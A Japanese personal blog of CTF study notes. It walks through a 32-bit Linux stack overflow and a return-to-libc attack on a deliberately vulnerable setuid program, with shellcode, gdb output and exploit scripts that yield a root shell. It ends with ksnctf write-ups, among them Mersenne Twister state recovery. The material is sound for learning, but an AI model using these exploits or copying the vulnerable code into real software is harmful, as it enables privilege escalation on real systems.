アイジア

CTF, 情報セキュリティの学んだことメモ

バッファオーバーフローの攻撃手法いろいろ

*linux32ビット

1.1: 最も基本的なスタックバッファオーバーフロー

実行条件:
DEP無効
・ASLR無効
・CANARY無効

*セキュリティ機構のおおまかな解説はここから

aithea.hatenablog.com

//bof1.c
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
          "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
    char buf[32];
    printf("shellcode is here: %p\n", shellcode);
    strcpy(buf, argv[1]);
    
    return 0;
}


strcpy(buf, argv[1])としてしまうとbufの容量をこえたサイズの値がスタックに書き込まれてしまいます。スタックの底辺にあるリターンアドレスをうまいことshellcodeのアドレスに書き換えられれば不正にシェルを起動できます。
これを以下のようにコンパイルします。

gcc -fno-stack-protector -z execstack -o bof1 bof1.c

また、「sudo sysctl -w kernel.randomize_va_space=0」でASLRも無効にします。
このプログラムにsuidビットを付与します。suidビットが与えられたプログラムはルート権限で動作します。

sudo chown root bof1
sudo chmod u+s bof1

普通に実行すると以下の結果が得られます。

aithea@ubuntu:~/bof$ ./bof1 abcd
shellcode is here: 0x8048530

バッファからリターンアドレスのオフセットを調べる

うまくリターンアドレスを書き換えるにはbufからリターンアドレスまでどれくらい距離があるかを調べる必要があります。gdb-pedaのpattc とpattoを使うと便利です。

gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
shellcode is here: 0x8048530

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd580 ("AAaAA0AAFAAbA")
EDX: 0xffffd315 ("AAaAA0AAFAAbA")
ESI: 0xf7f99000 --> 0x1d9d6c 
EDI: 0xf7f99000 --> 0x1d9d6c 
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd320 --> 0x4162 (b'bA')
EIP: 0x41414641 (b'AFAA')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44


「pattc 50」で50個の文字を生成し、それを引数としてbof1を実行します。すると「Invalid $PC address: 0x41414641」と返ってくるので「patto AFAA」(41414641 = AFAA)と入力してpattcで出力した文字列の中で、AFAAが出てくるまでのオフセットを調べることができます。ここではオフセットは44でした。これがバッファとリターンアドレスのオフセットになります。
いまシェルコードのアドレスが0x8048530だとわかっているので1~44番目に適当な文字列を送り、45~48番目に「\x30\x85\x04\x08」を送ればシェルコードが動作します。

aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x30\x85\x04\x08'")
shellcode is here: 0x8048530
# whoami
root

管理者権限を手に入れればほぼ何でもできます。

1.2 :Return-to-libc

1.1のやり方だとDEPが有効になっている場合、shellcodeを実行できなくなります(shellcodeがデータ領域にあるため)。しかし共有ライブラリは実行する必要があるため、DEPによる影響を受けません。そのためshellcodeの代わりに共有ライブラリのアドレスをリターンアドレスに書き込みます。この攻撃をReturn-to-libcといいます。ここではこの手法をつかってsystem("/bin/bash")を呼び出してみます。プログラムは1-1と同じものを使用しますが、DEPだけ有効にします。

gcc -fno-stack-protector -o bof1 bof1.c


攻撃を成功させるためには次のようにスタックを書き換える必要があります。
(スタック上位)
・(適当な文字列)*44
・system関数のアドレス
・system関数呼び出し後の戻りアドレス
・文字列「/bin/bash」を指すアドレス
(スタック下位)

まずsystem関数のアドレスを調べます。これにはgdbを使います。

(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/aithea/bof/bof1 

Breakpoint 1, 0x08048417 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e63170 <system>

ここではsystem関数は「0xb7e63170」にあります。

system関数呼び出し後の戻りアドレスは、割とどうでもいいので適当な文字列で埋めることにします。

続いて/bin/bashへのアドレスを見つけます。環境変数$SHELLにはふつう「SHELL=/bin/bash」という文字列が格納されています。そして環境変数はプログラムの実行と同時にメモリにロードされるので参照することが可能です。環境変数はスタックの下位にあります。

(gdb) x/1000s $ebp
.
.
.
0xbffff53e:  "/home/aithea/bof/bof1"
0xbffff554:  'A' <repeats 44 times>, "p1\346\267AAAA\321\365\377\277"
0xbffff58d:  "SSH_AGENT_PID=4093"
0xbffff5a0:  "GPG_AGENT_INFO=/tmp/keyring-NUF3zS/gpg:0:1"
0xbffff5cb:  "TERM=xterm"
0xbffff5d6:  "SHELL=/bin/bash"
0xbffff5e6:  "XDG_SESSION_COOKIE=452f0eaf8cd11d01ec673ada00000008-1548749778.608052-1887273046"
0xbffff637:  "WINDOWID=58720261"
.
.
.

ここでは0xbffff5dcに「/bin/bash」があります。
というわけで引数はこのようになります。

./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xdc\xf5\xff\xbf';")


ただ/bin/bashだと成功したのかわかりずらく、実行するごとになぜか微妙にアドレスの位置がずれるので良い方法とは言えません。なので次はsystem("/bin/sh")を呼び出します。

/bin/shを起動する

/bin/shという文字列は共有ライブラリの中にあります。

(gdb) info proc mappings
process 5607
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /home/aithea/bof/bof1
     0x8049000  0x804a000     0x1000        0x0 /home/aithea/bof/bof1
     0x804a000  0x804b000     0x1000     0x1000 /home/aithea/bof/bof1
    0xb7e25000 0xb7e26000     0x1000        0x0 
    0xb7e26000 0xb7fc5000   0x19f000        0x0 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc5000 0xb7fc7000     0x2000   0x19f000 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc7000 0xb7fc8000     0x1000   0x1a1000 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc8000 0xb7fcb000     0x3000        0x0 
    0xb7fdb000 0xb7fdd000     0x2000        0x0 
    0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
    0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
    0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
    0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
    0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) 

libcは0xb7e26000から始まっています。

aithea@ubuntu:~/bof$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 15cbe3 /bin/sh

stringsの-aでファイル全体のスキャン、-txで先頭からの位置を16進数で示します。0xb7e26000 + 0x15cbe3 = 0xb7f82be3が/bin/shを指すアドレスだとわかりました。

(gdb) x/s 0xb7f82be3
0xb7f82be3:  "/bin/sh"

ありますね。 以上から以下のように実行します。

aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xe3\x2b\xf8\xb7';")
shellcode is here: 0x8048530
# whoami
root
# 

かっこよくコードに書き直すとこんな感じ

import struct
from subprocess import Popen


code = 'A'*44                         #適当な文字列
code += struct.pack('<I', 0xb7e63170)  #system関数のアドレス(リトルエンディアンのバイナリに変換する)
code += 'A'*4                         #system関数を呼び出した後の戻りアドレス(どうでもいいのでAで埋める)
code += struct.pack('<I', 0xb7f82be3)  #/bin/shのアドレス

p = Popen(['./bof1', code])                #codeを引数としてbof1を実行
p.wait()

実行結果

aithea@ubuntu:~/bof$ python bof1.py
shellcode is here: 0x8048530
#     

そのうち書式文字列攻撃についてもまとめたいと思います。

参考

Return-to-libcまとめ

Return-to-libcでDEPを回避してみる - ももいろテクノロジー

ファイル実行時のセキュリティ機構まとめ

どれがどれだかよくわからなくなるのでメモ。

①ASLR

実行時のスタック・ヒープ・共有ライブラリなどのアドレスをランダム化します。アドレスが予測できなくなるので攻撃は難しくなります。これを無効にするには「sudo sysctl -w kernel.randomize_va_space=0」を実行します。

DEP

実行する必要のない(スタックやヒープ領域やbss領域のデータ)の実行を禁止します。データ領域にシェルコードなんかが埋め込まれていて、参照できたとしても実行できずにエラーになります。 しかしreturn-to-libc攻撃などは防止できません。gccの場合「gcc -z execstack」を付与することでDEPが無効になります。

③PIE(位置独立コード)

メモリ内のどこに置かれても実行できるようになります。

④RELRO(RELocation ReadOnly)

メモリ上の領域に読み込み専用の属性をつけます。「Full RELRO」となっている場合、GOT overwriteができません。

SSP(canary)

canaryと呼ばれるランダムなデータをスタックに挿入することで、関数実行時にスタックバッファオーバーフローを検知できます。gccの場合「gcc -fno-stack-protector」を付与することでSSPが無効になります。

⑤ascii-armor

コードを0x00から始まるアドレスに置くことでreturn-to-libcやformat string attackをしづらくなります。

ksnctf 25 Reserved

ksnctf.sweetduet.info

ppencode

これはppencodeというperl予約語を使った難読化の技術らしいです。このままでもperlで普通に実行できてしまいます。
最初の方だけ解説すると、

print chr ord uc qw q flock q

ここで「FLAG_」の「F」が出力されています。

q flock q
perlでqはシングルクォーテーションを意味します。'flock'です。

qw q flock q
qw演算子は空白文字で区切ったリストを作るものですがいまはflockしかないのでこの部分は変わらず'flock'になります。

uc qw q flock q
予約語「uc」で'flock'を大文字の'FLOCK'に変換します。

chr ord uc qw q flock q
「ord」で'FLOCK'から一文字取り出してASCIIコードに変換(70)、そして「chr」で再び文字に変換して「print」で'F'を出力という流れ。このような処理を繰り返してFLAGが出力されます。

ksnctf 24 Rights out

ksnctf.sweetduet.info

ファイルの実行

f:id:favoritte15:20181213173615p:plain
パネルを反転させるゲームが開始されますが、問題文に「Solving the puzzle is not sufficient.」とあるのでこれをクリアする必要はありません。 実行ファイルは.NETで作られているらしいので、専用の逆コンパイラを使えばC#のコードにまで復元してくれます。今回は.NET.NET Reflectorという逆コンパイラを使います。

ファイルの中身を調べる

f:id:favoritte15:20181213174645p:plain
flagらしきが見つかりました。単純にnumArrayとnumArray2をXORしたものがflagです。

ksnctf 22 Square Cipher

ksnctf.sweetduet.info 問題文の31×31のアルファベットはQRコードを表しています。小文字が白い部分、大文字が黒い部分です。

アルファベットをQRコードに直す

QRコード作成には画面描画に特化した言語であるProcessingを使います。

final int size = 10;  //QRコードのサイズを指定

background(255);
size(310, 310);
fill(0);


String cipher = "oomktvziqtaovmmpxzoqrzsxlpwpgojuDQEMISYnnVYnvyWRhHsDXnSCXAVVZjtZbknedErdpvAwQWpUiLqOxIqpafvXpdXoAVWcKppbEPuaqmXWjXJwRoRFOoEgpDiRUXlQjKJlslskVpGwtljGyVJPxHvbQsQNKxCsdYMdQPJiBmyrsuOrJQOtXgpMekeinUaMoDXqFzweLKipkBuggnsUveQFYCJSKfBgHaJgZnZoWmOmAOJLVQHihljrplajyKNXtwmfOjRwOqcqeeplyzygkFOltsOyrPgIaerIaSjQQaVMyEhfydvEaRHbBzfrcwJbCZmHdddLpuEJwspbtsXQGkwpKaTZmWJiZzpbkpHNiToawxKnwJpIKbGhnLjVAJNcxrqkKEJCKCOocSvmTRDNDpFtRUmcHoRELeSqXoGUIIsuYuajeHaSVlQGLaEprSQarDzTomJdAWfqbzIJLHRBXMvNDegYeaoVRDuWBbdSBtLvxIeKdAYwajGHMgRLDGgDinBiLNBgatbkHepNsCQSJjTRmQrCHYWJqIPOVAUOerrvhmZfmogPglGNuLyAuSivBctlvVfzbqBJdHUkSaTArlgkhtHPyGhXOPkwmkBqrvbzZfwvLtTnhyXVHPlwsuGZQnNiNcmyCMtAVwYVgtZHVNznolGMBETIHFmoWjwfezbysbvOzsAhxSZFFAfOouyHldEYhgNHKKSFUtcUxfRyXHMugYBtAxBwDJZhrHmsozuNeoJqyzMDHsNbUDwzaNLtdxrbVmQMHyNndOWCZLnhrPxZXCYLDTWQreaSiEEJjZtoRpUzgsxsiiGzvnRpKLMrkqTzGCKvNhUhjrmCjAdwQAvkgqHyJZLmsSxzwjxAnWesTszIxirRwcWIXUPtwwanTDEMTRGyhzdCtkTTDWbxdSjsNYlfXzeawtidzosgaofjxxyfcdoiulemirqap";
int i,j;
char c1;

for(i=0; i < 31; i++){
  for(j=0; j < 31; j++){
    c1 = cipher.charAt(i*31 + j);
    if(int(c1) < 97){  //大文字なら四角形を描画
      rect(j*size, i*size, size, size); 
    }
  }
}


実行結果

f:id:favoritte15:20181202155941p:plain

Processingのすすめ

Processing.org
Processingは、
・「おまじない」がなくわかりやすい
・実行方法が簡単でコンパイルが高速
・文法がJavaベースなので癖がなく理解しやすい
・簡単に画面描画できるため楽しい(ゲームとかもすぐ作れる)
等の強みがあり、初心者にもおすすめです。

ksnctf 21 Perfect Cipher

ksnctfの21問目を解いていきます。メルセンヌツイスタの問題です。 ksnctf.sweetduet.info

大まかな解法


1. encrypt.keyを復元する
2.encrypt.keyからメルセンヌツイスタの乱数を予測し、flag.keyを生成する
3.flag.keyとflag.encからflag_dec.jpgを復元する

1. encrypt.keyを復元する

encrypt.zipには以下のファイルがあります。
f:id:favoritte15:20181129091148p:plain
↓encrypt.cpp

//  g++ -O2 -o encrypt.exe encrypt.cpp mt19937ar.cpp

#include <stdio.h>
#include <stdlib.h>
#include "mt19937ar.h"

typedef unsigned long dword;

void initialize(const char *seed);
void encrypt(const char *plain, const char *crypt, const char *key);
void decrypt(const char *plain, const char *crypt, const char *key);
int min(int a, int b) { return a<b ? a : b; }

int main()
{
    initialize("seed");
    
    encrypt("encrypt.cpp", "encrypt.enc", "encrypt.key");
    encrypt("flag.jpg", "flag.enc", "flag.key");
    
    //  decrypt("encrypt_dec.cpp", "encrypt.enc", "encrypt.key");
    //  decrypt("flag_dec.jpg", "flag.enc", "flag.key");
}

void initialize(const char *seed)
{
    const int N = 1024;
    
    FILE *f = fopen(seed, "rb");
    if (f==NULL)
    {
        printf("Failed to open %s\n", seed);
        exit(-1);
    }
    
    dword buf[N];
    fread(buf, sizeof (dword), N, f);
    
    fclose(f);
    
    init_by_array(buf, N);
}

void encrypt(const char *plain, const char *crypt, const char *key)
{
    FILE *fp = fopen(plain, "rb");
    if (fp==NULL)
    {
        printf("Failed to open %s\n", plain);
        exit(-1);
    }
    FILE *fc = fopen(crypt, "wb");
    if (fc==NULL)
    {
        printf("Failed to open %s\n", crypt);
        exit(-1);
    }
    FILE *fk = fopen(key, "wb");
    if (fk==NULL)
    {
        printf("Failed to open %s\n", key);
        exit(-1);
    }
    
    fseek(fp, 0, SEEK_END);
    dword length = (dword)ftell(fp);
    fseek(fp, 0, SEEK_SET);
    
    fwrite(&length, 4, 1, fc);
    
    for (int i=0; i<length; i+=4)
    {
        dword p;
        fread(&p, 4, 1, fp);
        dword k = genrand_int32();
        dword c = p^k;
        
        fwrite(&c, 4, 1, fc);
        fwrite(&k, 4, 1, fk);
    }
    
    fclose(fp);
    fclose(fc);
    fclose(fk);
}

void decrypt(const char *plain, const char *crypt, const char *key)
{
    FILE *fp = fopen(plain, "wb");
    if (fp==NULL)
    {
        printf("Failed to open %s\n", plain);
        exit(-1);
    }
    FILE *fc = fopen(crypt, "rb");
    if (fc==NULL)
    {
        printf("Failed to open %s\n", crypt);
        exit(-1);
    }
    FILE *fk = fopen(key, "rb");
    if (fk==NULL)
    {
        printf("Failed to open %s\n", key);
        exit(-1);
    }
    
    dword length;
    fread(&length, 4, 1, fc);
    
    for (int i=0; i<length; i+=4)
    {
        dword c;
        fread(&c, 4, 1, fc);
        dword k;
        fread(&k, 4, 1, fk);
        dword p = c^k;
        
        fwrite(&p, min(4,length-i), 1, fp);
    }
    
    fclose(fp);
    fclose(fc);
    fclose(fk);
}


encrypt関数において、
①引数で指定したファイルを開く
②第一引数で指定したファイル(fp)のサイズを取得して.encファイルの先頭4バイトに書き込む ③genrand_int32関数でメルセンヌツイスタの疑似乱数を生成
④fpと生成した疑似乱数を4バイト単位でXORしたものを.encファイルに出力(生成した乱数は.keyファイルに記録する)
というような操作が行われています。

暗号化と言っても単にXORしているだけなのでXORの性質を利用すればencrypt.keyファイルの復元が可能です。
いま、encrypt関数で
encrypt .cpp (XOR) encrypt.key = encrypt.enc
が計算されているので、
encrypt.cpp (XOR) encrypt.enc(先頭4バイト除く) = encrypt.key
となり、生成された乱数を得ることができます。

2.encrypt.keyからメルセンヌツイスタの乱数を予測し、flag.keyを生成する

メルセンヌ・ツイスタをわかった気になる | 成瀬順のメモ帳
(メルセンヌツイスタのしくみについて書かれています)

メルセンヌツイスタは連続した624個の乱数があれば次に生成される乱数の予測が可能になります。先ほど復元したencrypt.keyは2600バイト(=650個の乱数)なので次に生成されたflag.keyを予測できます。これを一から実装するのは大変なので、

Mersenne Twisterの出力を推測してみる - ももいろテクノロジー
こちらのpredict_mt.pyをお借りして、改造します。

import random
from struct import *

def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xefc60000)
    x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
    x = unBitshiftRightXor(x, 11)
    return x

def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y

def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y


#encrypt.keyから乱数を624読み込みメルセンヌツイスタの内部状態を復元
with open("encrypt.key", "rb") as f:
    values1 = [int.from_bytes(f.read(4), 'little') for i in range(624)]
    mt_state = tuple([untemper(x) for x in values1] + [624])
    random.setstate((3, mt_state, None))

#650個まで分かってるのでいらない
waste=[random.getrandbits(32) for i in range(26)]

#バイト数が78556 → 19639個の乱数が復元に必要
pre = [random.getrandbits(32) for i in range(19639)]


#生成された乱数を4バイト単位でflag.keyに書き込み
with open("flag.key", "wb") as f:
    for x in pre:
        f.write(pack('<L', x))

3.flag.keyとflag.encからflag_dec.jpgを復元する

flag.keyが分かったのであとはdecrypt関数にかければflag_dec.jpgが復元されます。flag_dec.jpgをバイナリエディタで開くとちょっと下にフラグが出てきます。